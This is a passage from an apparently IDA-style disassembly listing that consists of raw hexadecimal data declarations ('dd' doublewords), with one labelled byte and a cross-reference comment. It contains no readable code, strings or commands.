13A8EE79h, 5D18741Fh dd 6B45913h, 2582B0F2h, 72F49A88h, 0CFB22912h, 0FF59E10h dd 9D7B353h, 0F745622Bh, 76DF4F4Eh, 5D0BC2EDh, 249DAE5h dd 9BD5B019h, 32FECCAEh, 0E6CA3EFBh, 0C9EE6275h, 0A26F5439h dd 0F2A69617h, 0A90E4E7Ch, 983B8297h, 0B50CDF4Ah, 9294310Dh dd 0AE472612h, 1E7589B1h, 0DF48E3E8h, 7B2BED81h, 0D51A2A0Eh dd 7080BC0h, 6CC09E6Eh, 0F2990D77h, 4071035Dh, 696D7B2Dh dd 0DF05AAB4h, 27EA98FDh, 0BD8A589h, 4F10AB9Eh, 0E13D6229h dd 0A390A56Ah, 80F7ED2Bh, 5C011BB9h, 8440BFDh, 11E4BFD5h dd 385D8B7h, 3CD04579h, 9641DA29h, 55BC2B08h, 7995D920h dd 45EAAC7Eh, 0AFCDEEBAh, 569AB201h, 22F9AD03h, 0C14F7823h dd 0EA265E0h, 0F2FFDE31h, 6048DC0Ch, 65ED3B97h, 72C8C18Ah dd 4B22BE00h, 119859EEh, 275FFE70h, 0D1B070C3h, 18946176h dd 0F45EB968h, 98002541h, 0C15B222Ch, 0D06E0h, 781D3A7Bh dd 0F85CBD05h, 2EE93C3Bh, 50C26603h, 0C9810075h, 0EF3B7947h dd 0F8E11D27h, 8340870Fh, 0B723F4F1h, 2E1BDF09h, 3902A7F3h dd 0C04558EFh, 1BC25F19h, 3250950h, 0BCAF59BBh, 124A279Ah dd 2DF347F5h, 525ED2C0h, 681F98B7h, 0F4181285h, 47E3CC64h dd 457E925h, 84A65A78h, 4BDBA210h, 713A25F0h, 4F497C5Bh dd 52DF02BBh, 82D702B6h, 4050668Eh, 3B8034CDh, 0B08535CBh dd 88C30814h, 0C24FEA48h, 0BF6F0FE4h, 83F1B9E8h, 78E8838Bh dd 2D043852h, 0E951F002h, 2FDCDEF4h, 5BB968D0h, 4E49B626h dd 0A62030E8h, 3298249Ah, 93251A09h, 3FC8803Ch, 0FF6C287Ch dd 830103Fh, 6889E04Bh, 99750A25h, 48E66FF7h, 0F08030D1h dd 1EC07BB2h, 0FD9F604h, 0C16178C9h, 31CF280Eh, 0E5D1EAC2h dd 1F23788h, 0C12540BDh, 4D64706Ch, 0C32B70E3h, 5E496812h dd 2926ED02h, 0DFDDE29Ah, 2E18782h, 40B51EDFh, 23C21914h dd 0DD2C9168h, 1AB7CDB4h, 0EF1574Ch, 7A693762h, 11DF0529h dd 0AD500F35h, 2F0D2843h, 0A0DDE682h, 0CB195AECh, 0D8E91327h dd 2E3DDDFDh, 31C4BCE2h, 551F1F91h, 0D0123C9Ch, 28531B1Dh dd 9EDF4C05h, 1D54E2B3h, 0BB4E41FBh, 40D7A578h, 0B383538h dd 31E4B18Ah, 19F308Ah, 557B3FE7h, 9FB13E01h, 0E95A0800h dd 38F36E07h, 8B3ED3A5h, 0FDA45ADBh, 1BE9800Fh, 0E146BF55h dd 66136449h, 75C62D17h, 0EDE8EE0Eh, 9C3F0E05h, 795B7AF0h dd 0EB2F3AE6h, 0C293C0FCh, 0F6BC6CABh, 3630D133h, 0D066932h dd 6AB7A40Dh, 0B52A1CB2h, 843CB48Ch, 0FD050C85h, 760002Eh dd 0C7832A90h, 0C7555AFFh, 7A0F3171h, 2DFC2E7Ch, 0EC85C817h dd 17089313h, 7CFC2DD3h, 77EB182h, 9E0B5547h, 0D42408D4h dd 41521613h, 50B006A9h, 0D7AA91E9h, 72A696F5h, 6612B68Ch dd 0D095E307h, 6D0504E0h, 0FA5A7BA2h, 76740D44h, 72C7FE07h dd 4EF65099h, 798BF18Bh, 0FF6617FAh, 3DDD2721h, 70DEB805h dd 3624C87Ah, 0F7497698h, 0F3585EA4h, 0E94962FEh, 151E5E11h dd 9E10C231h, 875C0395h, 7CD6F7F5h, 809F5E08h, 9B342D2Fh dd 7E35152Ch, 26F85817h, 6B79BFD3h, 0E232166Fh, 0B6AB180Eh dd 0BCAF5A5h, 31DB7BC1h, 0C22F00D5h, 671129FEh, 614E0C0Dh dd 2F017664h, 81A7BC4h, 5B14050Ch, 2CE937E0h, 45FD6348h dd 1288005h, 0BC907BAh, 59E7029h, 192FC1C5h, 84F8852Bh dd 5A080B08h, 0C57694DFh, 0FBF9F6E1h, 5ED63A88h, 8530FD58h dd 55E59705h, 68C67E82h, 0F78F28A4h, 0EE6E39E4h, 65CE7F31h dd 101B6800h, 8A0203BBh, 0E328343Bh, 4B2F9835h, 6BC29557h dd 57014FABh, 2F986646h, 5E4AFDC0h, 8E899786h, 0AD56DBE2h dd 0A8740F2h, 0C6FD82BCh, 2DD67CDBh, 2C20F481h, 6FF91E53h dd 0D0F74001h, 98762125h, 67E0DD0h, 0E9197A2Ah, 509F4959h dd 90F75C28h, 0BFABB250h, 464EB0B0h, 62B0DF9Bh, 181610D1h dd 0BCD2D47h, 0B94A5156h, 896804AFh, 5567C2CEh, 3408CB0Ah dd 98DB20D5h, 0BCC54FE7h, 65E4B41Bh, 0EA864116h, 3B87C177h dd 947BFD2Ch, 3D791AB9h, 720055D4h, 0F78118F6h, 512C1805h dd 5ECA0C7Bh, 163A70Bh, 889E0FFEh, 90E90659h, 0A4BC8D46h dd 0AE567E2Fh, 0D92C89E8h, 386E4368h, 17F0909h, 83708FDh dd 8225F12h, 0A58C566Fh, 29AB57h, 367BB39h, 0B82A0221h dd 7363438Ah, 0E98460D5h, 0DDB44F0Dh, 2AF82B0Bh, 2884B08Eh dd 0BB5584C1h, 65D2A004h, 50D3F600h, 8A5ED888h, 0CDF9AAA1h dd 0F0057934h, 40722CF0h, 5DE2433Ch, 202ABFF1h, 0A9C15B73h dd 200126C1h, 5B743D20h, 0F0F5B8F4h, 5F639F98h, 14CAB192h dd 284EA4DDh, 9E66F826h, 51400264h, 0CDFED3B5h, 80D5F60Fh dd 2D04F2F5h, 25BB69E6h, 2547ABEAh, 0E0E2F921h, 54185FFCh dd 263E27ADh, 44569328h, 21FF9F35h, 7B3B3F21h, 40812E68h dd 0D29F21FAh, 9B5897BEh, 1EADB97h, 0A7272FC7h, 7294BC19h dd 505D08A0h, 0F62DF1B8h, 0EF51A86Bh, 92148003h, 0D0D01627h dd 0D205FC62h, 0D640F2BDh, 0BFA740D1h, 10634C14h, 0DCE71D91h dd 0F8159FC9h, 0D480C03Bh, 0E9EFBEFEh, 19B5C02Dh, 216540A9h dd 6E21F53Bh, 0EFA217C8h, 0BAE0894Dh, 8F4ABD3Ah, 4713B1DCh dd 7DC7D022h, 4A7F8229h, 572D6241h, 91554729h, 3580F6B5h dd 44056857h, 2EF62B9Bh, 9AF2B44Eh, 127BF978h, 0E674EF5Eh dd 7D84D9ABh, 4202881Fh, 8009AC35h, 0FC67D0F6h, 4898F676h dd 0C0D80CE7h, 0FD82A834h, 60EA0C10h, 0D1F1F7A6h, 0BE312B88h dd 0EE05AA8Ah, 5AD77CD1h, 6F2B616Bh, 0CF2389B7h, 0F733D059h db 6Ah byte_4E0049 db 94h, 0EFh, 0C0h ; DATA XREF: ___:0042CC94o dd 0E39CB065h, 9C0B260h, 91074C03h, 0BD08200Ch, 3BF622A6h dd 78EE892Fh, 0FA1BD2D0h, 0C6D2B1D4h, 0C7C2FD29h, 0C3ADCA55h dd 76A5CB15h, 92E50975h, 425F1979h, 5C2BF566h, 619D5544h dd 52007DD0h, 801CEEB6h, 0BFFAC4F6h, 0E89213A6h, 45C6188h dd 61779405h, 2D35C255h, 63E90782h, 48BD61E8h, 2FF06218h dd 0E3803F6h, 0E9212D80h, 0EE9E5E25h, 3AB44F40h, 48306AB1h dd 0A32050E1h, 0C9054002h, 0C07C284Ah, 31FE2D2Eh, 0D8DA45B4h dd 88B803B6h, 4B49CA70h, 0FBE2C701h, 0F65276FCh, 2B700515h dd 0CC4BB39h, 0B22A21B1h, 0F2029242h, 0F42B32ECh, 7A9E2838h dd 8ACC13F7h, 3974FF04h, 5B3E0BA0h, 2563CF20h, 528C595Ah dd 519EE868h, 957AA228h, 79202D04h, 0E3BF2933h, 54254BEh dd 0DB71B301h, 36C06849h, 2926313Bh, 0E1C007D9h, 5EC18005h dd 0D9E3C444h, 276078B5h, 0A7D35351h, 0AD412EFCh, 0D8827F83h dd 0B11C840Fh, 178E475h, 5242DC1Eh, 36512268h, 77AA07E2h dd 2A885741h, 9952958Eh, 2CB21E3Fh, 0E989918Dh, 9576D072h dd 5408A747h, 2D5F004Dh, 1E700C19h, 0DAA0A590h, 66944846h dd 6C88E88Dh, 0C92FE907h, 54872994h, 0A7172DDh, 91CD327h dd 0AFCE6783h, 173F8BB6h, 0C932F46Ah, 0E8BC4458h, 0B9E595B8h dd 5246424h, 20FE2D92h, 5A394C1Ch, 0DB274B7Fh, 8830D169h dd 0D62EAF5Eh, 4A333ABAh, 82E9DE23h, 458D7638h, 4BC18257h dd 0F943104h, 37C5FB16h, 5BE9367Ch, 0E53E9213h, 2571145Fh dd 0E869ACE9h, 7BBC2B54h, 0D845AE96h, 0B304585Ah, 91280F7h dd 5B80C76Fh, 9A52C26h, 4807899Ch, 0A7AFD535h, 8C02C5F6h dd 212DC069h, 5E2D304Dh, 0E995AB18h, 0F701AE12h, 4724BEA3h dd 0DE2A024Ch, 7EC13DAAh, 7DCF10EEh, 79171232h, 0E2DD0147h dd 214EF649h, 0F75D4234h, 0D1942503h, 0FA7C571Eh, 0B650B9B0h dd 0C8290B25h, 2C3BD059h, 80BC7A87h, 60E478F6h, 0F00A01E8h dd 0BF4ECFE9h, 2E50BA60h, 80186956h, 0D00A4275h, 403BB0D2h dd 58125E71h, 9D0AC90Bh, 7CADDFCFh, 68132413h, 0AEED0BA3h dd 0C5E41855h, 717E0291h, 5DE8311Ah, 353DBAD0h, 3C998241h dd 5FBD61E9h, 9480A7E4h, 6625774Ah, 40555669h, 303B381Eh dd 27A1BF80h, 76DC319Eh, 4C08A04Ah, 0C1273EB9h, 1F2755BEh dd 72395CCAh, 8469F756h, 0E128BF9h, 0AAF234FFh, 1F08A033h dd 975606E2h, 0AC2140E7h, 0D828B82Ch, 0A8D6813h, 0B31640E3h dd 4A0FFF14h, 34B9E066h, 0D56F91E9h, 99044989h, 0FF11E602h dd 0B9E907D0h, 0BC22D740h, 0B85001A3h, 4F60435Eh, 0B106CC3Eh dd 77C9C841h, 793DA941h, 5A296800h, 8A78CDC4h, 130EA2ABh dd 0EBCD85CBh, 8ED2FEA5h, 0D9D1ACFDh, 5479BB00h, 0FACE014Eh dd 0DC535A75h, 115BB6EFh, 4139BBBDh, 0E919EB82h, 0C675C01Bh dd 54F105B8h, 0BA6556F6h, 7AEAE548h, 4713D772h, 0BFD01A60h dd 0C0DCF9E9h, 31DDCB97h, 4377446Fh, 1C33F305h, 0CDC06835h dd 5A78CA9Eh, 2276EC25h, 2E8B0B01h, 7036353h, 492F8D45h dd 0ADB75EEEh, 8F3CC602h, 0C5EF5A05h, 84E51714h, 0E789AADEh dd 9FC184E8h, 285B4E68h, 0ED4FE575h, 0B30440ECh, 0F2DA8841h dd 62F68F89h, 79D0ADE9h, 0E3123CF4h, 0E7D8EB76h, 0C0DB03B6h dd 0B05003EEh, 917808B2h, 9F4C2F35h, 0D596421Ch, 0BC140BA6h dd 0AD4ED657h, 0DF2050B2h, 6A49D14Eh, 87278915h, 6CD2C593h dd 1F9EFD9Dh, 354B30FEh, 0D28766EAh, 46F26816h, 0ADC002F8h dd 0E917AF5Fh, 18879825h, 80B5BA2Ah, 0B59E4C68h, 0F24F541Bh dd 5BB5A7B2h, 793730F2h, 139E02h, 0CD8179E6h, 5F267ED7h dd 86024D1Bh, 7D38EA56h, 804DE725h, 0D5099DA9h, 7FD69EB8h dd 5BD14ABh, 277A4307h, 85F39707h, 5E0809EBh, 3B4902DAh dd 49E84B74h, 74252539h, 67F7CC6Ah, 901B97BCh, 6CB8F6E8h dd 0BFD9763Dh, 84154C41h, 0AA10E582h, 527ED1Ch, 81890290h dd 7BCBA1BCh, 0B51686A3h, 0A14BEE0Ch, 0E8BE28B0h, 9927E8A6h dd 73305528h, 7AAD5DC7h, 0F733A893h, 0B7933F26h, 63B14A45h dd 93BE1E9h, 77F6439h, 18C83595h, 7DFC7A5Bh, 0CEECF37Eh dd 52210A2Ch, 619BE904h, 0D4C4F4EAh, 17F0149Dh, 0B452F486h dd 30785A60h, 8C6E6E4h, 7D41F5E9h, 5C13EEB1h, 0EB8038FBh dd 39D669C8h, 0E1A2297Bh, 0AD650809h, 803DD424h, 0B918E536h dd 0B0A5AF60h, 41762A0Eh, 43169FBEh, 7F49F89Ch, 97814666h dd 0C5280172h, 2703EC20h, 51705866h, 0E9D8C3A0h, 39A6A549h dd 7D3289BAh, 8C4D47Ch, 5D1DCFE3h, 0D0E7F08Ah, 9A0B08CAh dd 5E64905Fh, 6A931771h, 424A129h, 0DD4C8108h, 0DC5A03BEh dd 3F34D880h, 0DE214C4Fh, 2978B220h, 665B246Fh, 96D6B66h dd 7FE26850h, 0CF885618h, 2BFD49F4h, 7E7CB3B6h, 41CC5CF9h dd 5652DF20h, 1C03D3AFh, 761C6B36h, 65924198h, 6CDBF82Dh dd 1E87FC5Eh, 0A563D135h, 0DC9D2787h, 4551C4F6h, 0BC69A46Fh dd 30BC095Ah, 439B4A13h, 5976EBA6h, 9062C3A1h, 915A8F18h dd 2832E82Ah, 0F068CB31h, 14AE1DEh, 711347ACh, 280E062Dh dd 0A06A862Ch, 9CA72010h, 8D37B31h, 188C9D3Eh, 5D089E19h dd 5B18F763h, 8408A454h, 86D870Ch, 0EC12404Dh, 63D49340h dd 0D8AC28CDh, 72670818h, 0C6A3B518h, 185B6F08h, 818F3FDh dd 0BD186920h, 1208C69Ah, 842018D2h, 65B2333Dh, 4DC9710h dd 4F06B39Bh, 0A063086Bh, 10EF4DB9h, 108E7908h, 391898CCh dd 6C4F3863h, 8AD91CCh, 72854049h, 402A6D40h, 1763837Eh dd 19906730h, 18E77308h, 94C18C1Dh, 62D1081Fh, 926118B8h dd 33AB902h, 818A542h, 0F9207D4Ch, 0AC648067h, 48A10C4h dd 86EBB06h, 20297620h, 27325D85h, 8CD54978h, 40D30820h dd 624071A8h, 0F181C651h, 432008D9h, 0C46C75B6h, 4F2AB40h dd 7E05FA80h, 8DD44856h, 83B630Ch, 83E0A8D5h, 1528C693h dd 74310892h, 0EF2181Bh, 890B0888h, 9A95618h, 0A29B832Bh dd 16950810h, 20AC602Ah, 5620FF7Eh, 78A031BCh, 3ECB108h dd 0D2B11008h, 0D69C1065h, 10486718h, 29CCC645h, 40A91020h dd 0A466E353h, 31C9C908h, 0B1060EBh, 0CF420138h, 127BA01h dd 88D79EFh, 0ED18CEB3h, 8AE853B9h, 8580CC4h, 28686381h dd 8196A82h, 0A71D411h, 7D6108Ch, 53804721h, 0CA51C8C1h dd 0CC47F08h, 80C17DFBh, 866B08C6h, 0F3B03318h, 0D12A9308h dd 3931FC31h, 680318CCh, 7657088Ch, 0C807219h, 74C780F5h dd 198C4382h, 31FB5010h, 0CE4014Eh, 0DBC7088Ch, 6940B418h dd 0E74F4013h, 4047FA40h, 6F40CC7Ch, 6C99C43Fh, 23860901h dd 314658D0h, 8B14B10h, 0B3188CA7h, 92D9085Ch, 7A482008h dd 14FC9F54h, 0FF313492h, 30BD10A5h, 0C8A39A02h, 1831A248h dd 82E6E176h, 10801891h, 9F107798h, 57FD195Ah, 0D8518F08h dd 0AA01DC45h, 0DB088C9Ah, 40F12061h, 609AC66Bh, 10ED7C31h dd 34010ED5h, 534601AEh, 8866CC01h, 87F9208h, 6B08A42Eh dd 60161C40h, 0FC9C6009h, 5FA490E8h, 7EF1881h, 0C78B4E50h dd 4D1FC8F1h, 473B10C7h, 0EB0275C0h, 0E896313h, 3D7AA7B9h dd 44010500h, 0B49408Fh, 0F77507C9h, 1E24748Bh, 0F003DE81h dd 1E6A6DB9h, 0F03C033h, 4304FB1h, 0B3E9AC2Ch, 7AA6AE20h dd 6555EB89h, 94D7A584h, 79D997D9h, 0C7365649h, 94D7CB8Fh dd 0FFB920BFh, 3806F74Bh, 33CB428h, 80BEB753h, 0DBD9C8C7h dd 68168465h, 37BB32E6h dd 7DC890C6h, 580575FCh, 15370E9h, 10E6816h, 59EB47C5h dd 0E8C3DA55h, 5A3E1291h, 9FDDED31h, 5A5BF19Ah, 0B9511C48h dd 9BD0C96h, 59710815h, 0BB30585Ah, 0C0AA48E9h, 31F6810Ah dd 3EF3295Ah, 5FF95547h, 3EAD155h, 3351E9B1h, 0B576A074h dd 1AF26814h, 0FDE9C7C0h, 7ED4D4Ch, 0F6A53CA3h, 0EA5DC509h dd 0F67BCF29h, 4D38018Dh, 0F9312F0Dh, 0BEE6F100h, 21EAAF09h dd 58A156CFh, 2218E9C7h, 830C6DFBh, 41022D8Bh, 0F40C41FEh dd 0A45CA82Fh, 7C881F1Ah, 52222787h, 0A375AB95h, 4B28FC46h dd 0BD061732h, 98EAF4D0h, 3203C106h, 29727928h, 84E9C2F1h dd 0CCBE5E08h, 2F4FAF29h, 124E84F4h, 0FD29F635h, 11D37A84h dd 4D12A0ADh, 1219496Dh, 0BB605476h, 0C9F5D48h, 0DC53E932h dd 3B4ACA25h, 0FA561E33h, 258A76FAh, 4ABD89D8h, 22F80373h dd 37F5B016h, 398D307Ch, 71CA818h, 15DD6050h, 0CAC42F06h dd 9C63C9E9h, 67696F3Ch, 0D85B02C1h, 0D5DF8A61h, 0C98DC0Ch dd 62FE0BB8h, 8C7CAFA6h, 0F170C191h, 54146ADCh, 1012E201h dd 1C3C5B42h, 0AC12AE94h, 681FC6ACh, 361867F7h, 290014CDh dd 0FFB85067h, 0C869DA60h, 0D10E3F76h, 0E15AE5EAh, 0C908A42h dd 0F3617D98h, 6361D0CBh, 6E7B9BA0h, 525A6AA8h, 7021569Dh dd 10DFF9E1h, 2C592903h, 0EFD88336h, 5DA06842h, 5724946Ch dd 614226B4h, 0DD560907h, 0DB05F948h, 83BF197Bh, 20A2E1DAh dd 46186DDh, 63A40912h, 23A394h, 0BEDAE950h, 1C2845DFh dd 83C124A4h, 0C9FE47B1h, 0C130041Ch, 8608C89Ah, 0F6C9286Ch dd 2AE59504h, 48F0E90Dh, 0B55DE120h, 9FEB641Bh, 0C4C7614Ah dd 84384C83h, 0A72E3BEh, 0CD25A468h, 175E046Fh, 49B27D1h dd 0B4BA4081h, 2469FD3Fh, 0D4240D6Fh, 0D112770Fh, 16EDF9E0h dd 0B05D1AF0h, 58002547h, 0C169482Eh, 5F4005E8h, 8309C450h dd 60CE4A8Ch, 680568B5h, 8C3A4E82h, 9B602259h, 8DC38010h dd 75E37528h, 5487FAEBh, 190AE323h, 0AB313A68h, 95123B4Ah dd 5501CBCAh, 3A3BB3BDh, 0AE5F06Ah, 1D357812h, 18FC9A01h dd 0A32E7C60h, 0DAB95BABh, 21AA407Bh, 2E58C530h, 0FD800984h dd 0F8302530h, 7BC0B563h, 6B48FFE9h, 37E4D843h, 0D4C2FD26h dd 0DB047A93h, 5D350F70h, 401FF58Bh, 0D39E810Fh, 0DB4E81B9h dd 0E60105FFh, 37AD2384h, 6946F02Eh, 0BF315640h, 58C28501h dd 0FCC04521h, 5907D91Ah, 50ABF76Fh, 69E7C9F2h, 18533C91h dd 0C7AB83A3h, 35231832h, 67950C6Ch, 5239A52Ch, 0B4B45FC9h dd 2C79620h, 2003F280h, 605F5AD4h, 14ECD01Fh, 0EF1735E9h dd 51065F8Ch, 0B13D64B0h, 1C1267Eh, 0DF59CB09h, 20BD3F61h dd 4D4D97A1h, 94094BEAh, 34939133h, 5780F233h, 6E319FBFh dd 44E97A0Ah, 0EA81C81Ch, 0FF300F9Eh, 302ACF25h, 0EE957FAh dd 0EC54CB40h, 0AB064A01h, 20C65E54h, 45A9024h, 0BB8E4F73h dd 3A108729h, 90CB08C9h, 0A1968522h, 55FB8E89h, 45C7CF98h dd 215B8CC5h, 0A35A14ECh, 0F3098442h, 1B4FD191h, 56241B63h dd 2FEF3A6Ah, 0AE5DEE44h, 0E9A382B2h, 0F1CCC192h, 63D71731h dd 307B126Ah, 0D943FFA8h, 0BEAC1F5Ah, 4B5E1A1Eh, 208E4120h dd 0FE85E964h, 0C7B37C16h, 62952CDFh, 90098411h, 0A2445639h dd 845D780h, 414201A4h, 0EFD8A049h, 489C253Dh, 28597245h dd 5352E903h, 0F3A9B17Dh, 252ABD1Ah, 679DE2DAh, 0ACE985F7h dd 0EFAAD272h, 3B6AE180h, 0F7012EFAh, 8CC635D8h, 0E07FE7C2h dd 4B25E919h, 9E70F10Fh, 81948B5Dh, 545D99D7h, 0D34EF37Ah dd 12C1200h, 27E96B95h, 0E6D47099h, 727A0B52h, 0B515F038h dd 82727C99h, 71BBBED1h, 0F6C64029h, 680DC2BFh, 26683998h dd 14B1FF8h, 0F770B5A6h, 0EFA48678h, 5F9AF482h, 0B28C8E51h dd 9B94027h, 1CD87692h, 0C901C576h, 3A785907h, 0BE08132Ah dd 9526088Ah, 0E4D081DEh, 3A6CB551h, 98EC4BA4h, 0C4E1E7E3h dd 4C2CE9D4h, 0BB8EC9F5h, 16268BE6h, 0C4E46B41h, 60153D59h dd 4093F216h, 17A0B9C0h, 82C90AD9h, 60C0B02h, 95B04AC9h dd 785E10E2h, 0A1D81409h, 0D003E62Bh, 0B937042Fh, 6706AB28h dd 9065BEBh, 422068DBh, 0D8C8815Eh, 0E3356A02h, 0FC73F239h dd 15075837h, 28A4EA03h, 18042E22h, 66AB36C4h, 9C6F3701h dd 72F60017h, 1B225B6h, 2D5940FCh, 0D7F0B23Fh, 52B4F0ACh dd 815215FFh, 0EE22C103h, 0CDF1B51Dh, 6FF7259h, 69E5146Fh dd 97AF00Ch, 0ECE94C44h, 6F5D3141h, 305423C0h, 0EF094CFEh dd 0E701AE22h, 21FB2B0Ch, 1E7ADFF7h, 76BBF9FDh, 2F51617h dd 0BA1BE9DAh, 0B0BCC475h, 64CD20FDh, 93985050h, 197E2D06h dd 5E0B97B8h, 0C546C031h, 0F21D5C1Fh, 0CFA8012Fh, 2CE1CC20h dd 0D998852h, 0DCEF0593h, 3DBA8156h, 7047062Fh, 7C351E6h dd 2DA0447Fh, 719CFE4Bh, 6EE24C1h, 0F940213h, 5A404355h dd 0C52533ECh, 49285D23h, 4E8000A2h, 0CE018F91h, 0EE055979h dd 72DB5AA0h, 68C602EEh, 6D46718Eh, 636BE2C2h, 0E02AE286h dd 4B132BE4h, 0D2F2E201h, 0E8EF53EBh, 0CA3EB9AEh, 39BE4E4Fh dd 42A6D95h, 214FE9C3h, 8110A4CDh, 924E5968h, 0DB962AE3h dd 0BD109DFDh, 6F4C1367h, 64CB0587h, 0EBC348A5h, 413313D5h dd 851EB8F8h, 8DEF2D68h, 96DC01B0h, 5AE37A03h, 1855B64Ah dd 581E2ADCh, 0A5B2A68h, 81C4951Eh, 0A04D2F90h, 78954CBCh dd 0A340B428h, 9D24258h, 20736E27h, 20614940h, 0B9E92C3Fh dd 0E2BF8192h, 2F2C5212h, 0A931FA00h, 6938E920h, 0B2FDED36h dd 9851CCF5h, 0D36366E7h, 0E45F0C5Ch, 0E4E757ACh, 3F7B8BCh dd 0B5FE892Dh, 2CA7D1FCh, 0CC058105h, 409559F9h, 5B37568Eh dd 7DD83137h, 62BBE961h, 7D61303Ah, 1C7DB616h, 0B67EB72Ch dd 69398488h, 0CC26CEDCh, 0B9354E00h, 255E0CCDh, 0A8723149h dd 0C51E6A00h, 0C4E9561Ah, 6971B502h, 0D3C1C092h, 0F0884D5Ah dd 0FF20C34Eh, 0A51C660Ch, 129A6071h, 0EB463473h, 48848C05h dd 0B9D6FCD3h, 0EB24F479h, 0B0B25AB0h, 820722Bh, 4B6398F8h dd 3518ACC0h, 0B9015FBAh, 4E558EEh, 292A042Eh, 4102F6FAh dd 9CEC3A10h, 22B46882h, 5E9C80FFh, 171D9517h, 565130E9h dd 149BACBFh, 4EFE48FAh, 0BEF03DEBh, 71585D2h, 38C0C108h dd 551EE943h, 0E205867Ch, 0FBE78DBBh, 0DD4835EAh, 521210C6h dd 0EF774Ah, 337546EBh, 0A4EE940h, 20296516h, 1067CB6Ah dd 680B9AC2h, 11D32232h, 8674E941h, 2BC1BE07h, 30237A22h dd 241E1548h, 0B4FC3260h, 8BBB22A6h, 42F65673h, 400F1090h dd 0E94C674Ch, 8317E33Dh, 506FED75h, 0CE884C03h, 9421278h dd 0DD5CAB61h, 0A4640FC2h, 0BDE88416h, 135CB14Fh, 0C271BCCCh dd 0C185B652h, 0F4C1ECA3h, 0C0883F20h, 7E29ED59h, 0F5EC6322h dd 0CF64E012h, 0F813501Eh, 42C6D0B8h, 350B1014h, 8269D670h dd 7F27A3h, 1068E2D1h, 69923E3h, 9CFBE952h, 7C5B6612h dd 4A58E835h, 0C37578E4h, 9B282A98h, 0D19F8232h, 0FB442DF9h dd 0D651B62Dh, 2456CB8Bh, 7F7D73C2h, 207D719Ah, 0A9268085h dd 5799F7Fh, 1391384h, 56C0BCF9h, 2D030EBEh, 0B2A96D50h dd 35496303h, 1836F0E9h, 43FF5230h, 2392730Fh, 0DAEBD0A0h dd 27C56881h, 1040F73Fh, 0E9E03EC2h, 0AC22D61h, 0E155D0F7h dd 101DB91h, 46828AC6h, 5812BD32h, 9505A0FCh, 0B85A5912h dd 0BC2D01A3h, 894A9C86h, 0CF56C230h, 2F8E0E24h, 1909A8B6h dd 88529612h, 19C1872Ah dd 382A629h, 9CD37FD3h, 445056ADh, 0FB03BA07h, 0C17F6D30h dd 747B50E3h, 1DBEAAAh, 4D8BC84Ah, 0A1971792h, 0FE46B3CBh dd 0E4491A89h, 0C121B8DDh, 0DB3D1212h, 0DBD7FA1Bh, 0D7F4D752h dd 0AFD44B2h, 5B250404h, 0CEE98489h, 0D58AEEE6h, 0E3312A14h dd 8C50294Ah, 67AAE9D5h, 46780F68h, 0F5452D45h, 8BFE5D12h dd 93D65859h, 9B752EBh, 39C1D97h, 0E91A8BF2h, 0C022FCE8h dd 0C9A106B2h, 1F84DDA1h, 0ED8003EBh, 10798769h, 0B111764Dh dd 31BC086Dh, 0CC122Dh, 1D0AFEF0h, 7929694Bh, 1709BE82h dd 0FB20C608h, 137A714Ch, 65C15AD5h, 0B204F856h, 0F4D894Bh dd 514543F5h, 5D2E2529h, 0B7F445C2h, 38836D2Fh, 9B04A5Eh dd 4013A19Bh, 0DF68F9F7h, 85AB085Dh, 0FCD03DE9h, 92333BBh dd 0D92914A5h, 165D8104h, 0F37FE6D9h, 2F5512B6h, 0B504AEE3h dd 0AE163E79h, 8EEA5D35h, 0E9590492h, 3A90AF9Dh, 48762FA0h dd 0C505FC22h, 0EF29EB4Fh, 0A0C40849h, 609505DFh, 126176Eh dd 0B97B34F8h, 0F38B10F1h, 6559B44Eh, 29204476h, 0FA51F6F1h dd 0B3145EF7h, 0CDB27A9Eh, 5AF3881Eh, 2CBFCAFDh, 0CA4E68C6h dd 0AE936DACh, 0EDE52F6Dh, 910B36Eh, 0D743FEE9h, 8AFCD39Ch dd 26170A48h, 0D60B5EB6h, 7968E42Eh, 419F3750h, 0D9873212h dd 0D1E8A1D0h, 6F3089FBh, 0DA94FF83h, 0A5105E97h, 2275977Dh dd 826817EDh, 0AEAE627Ch, 835B0060h, 0D80E95Eh, 4C6F451Eh dd 89540322h, 4D467F59h, 660F0F82h, 0BCD4DBBAh, 535A0663h dd 47FB89D1h, 6DE46CAh, 0E95EF52Eh, 7CF63862h, 94FB641Ch dd 9480040Bh, 0DFCBD18Ch, 5DFCCE87h, 2F04D83Bh, 0B0867AA9h dd 2D7BF077h, 0EE7649CCh, 2FF6A08h, 6E3A9A2Dh, 35E51040h dd 0DB897BB2h, 0BE22059h, 700E3804h, 2D8629E9h, 3683B79h dd 3B394161h, 0C47FE844h, 5CB80480h, 41202B53h, 0C731471Ch dd 6108F89Ah, 96709707h, 0DF8F829Eh, 5F1B6EE1h, 0EBE12E3Eh dd 0BE5E58B0h, 432E3C7Ah, 85008753h, 4652781Eh, 5A49850h dd 674901CCh, 0B8B7C556h, 0F85F2D25h, 6D609598h, 475C9D20h dd 51406FDh, 0B00C2C7Dh, 7C76F42Ch, 548B8C1h, 456695CAh dd 6F9FF417h, 9016123Dh, 2D17D601h, 68B13191h, 38D87F18h dd 87131E7Bh, 14F7C90Dh, 3A5DE391h, 18C637B2h, 0D995DC3Ah dd 8C94FDCh, 0F0B6E0A7h, 805AF528h, 528BCD0Fh, 9366FEB2h dd 3B8FD725h, 0C5E1B1EFh, 73E830B0h, 4C371C3Eh, 0D434D727h dd 1D0A2290h, 0D44B9E03h, 4E7A508h, 828BFA01h, 0F5AC2B05h dd 0D158C380h, 0F54E1028h, 0D02D5800h, 894B2445h, 6029E1FFh dd 20956614h, 2FC1C7FCh, 46763Ch, 948DBEFh, 0EA41E969h dd 89B1E89Dh, 0A6685CE5h, 0BE46305Fh, 81FEA93Ah, 7FCAEB06h dd 0BAE285Dh, 634459CDh, 0F5628B55h, 51D16DA0h, 70B7662Dh dd 2848D234h, 6EF8684Ch, 4D0068BBh, 0F71FD918h, 5A6490DEh dd 3BC91D5Dh, 80AC2424h, 6B06856h, 5E7739A7h, 654989FAh dd 41D11CB3h, 0FF038153h, 145704Ch, 3E721C0Fh, 0F9CB0906h dd 0B87F3C0h, 2D3F4B65h, 43570488h, 12EA57C5h, 13C098Eh dd 0FBBC6855h, 85F13D6Fh, 85CCF95Bh, 0D91D505Fh, 2030CA3Fh dd 0F81C4709h, 0A00596DBh, 1B799D94h, 21896727h, 25A68A93h dd 995430Dh, 8EFE36D2h, 0E4B11309h, 62C7F07Ch, 44583986h dd 5DB3AFB0h, 81251000h, 53754EEEh, 53F1B53Fh, 3CF5E0A0h 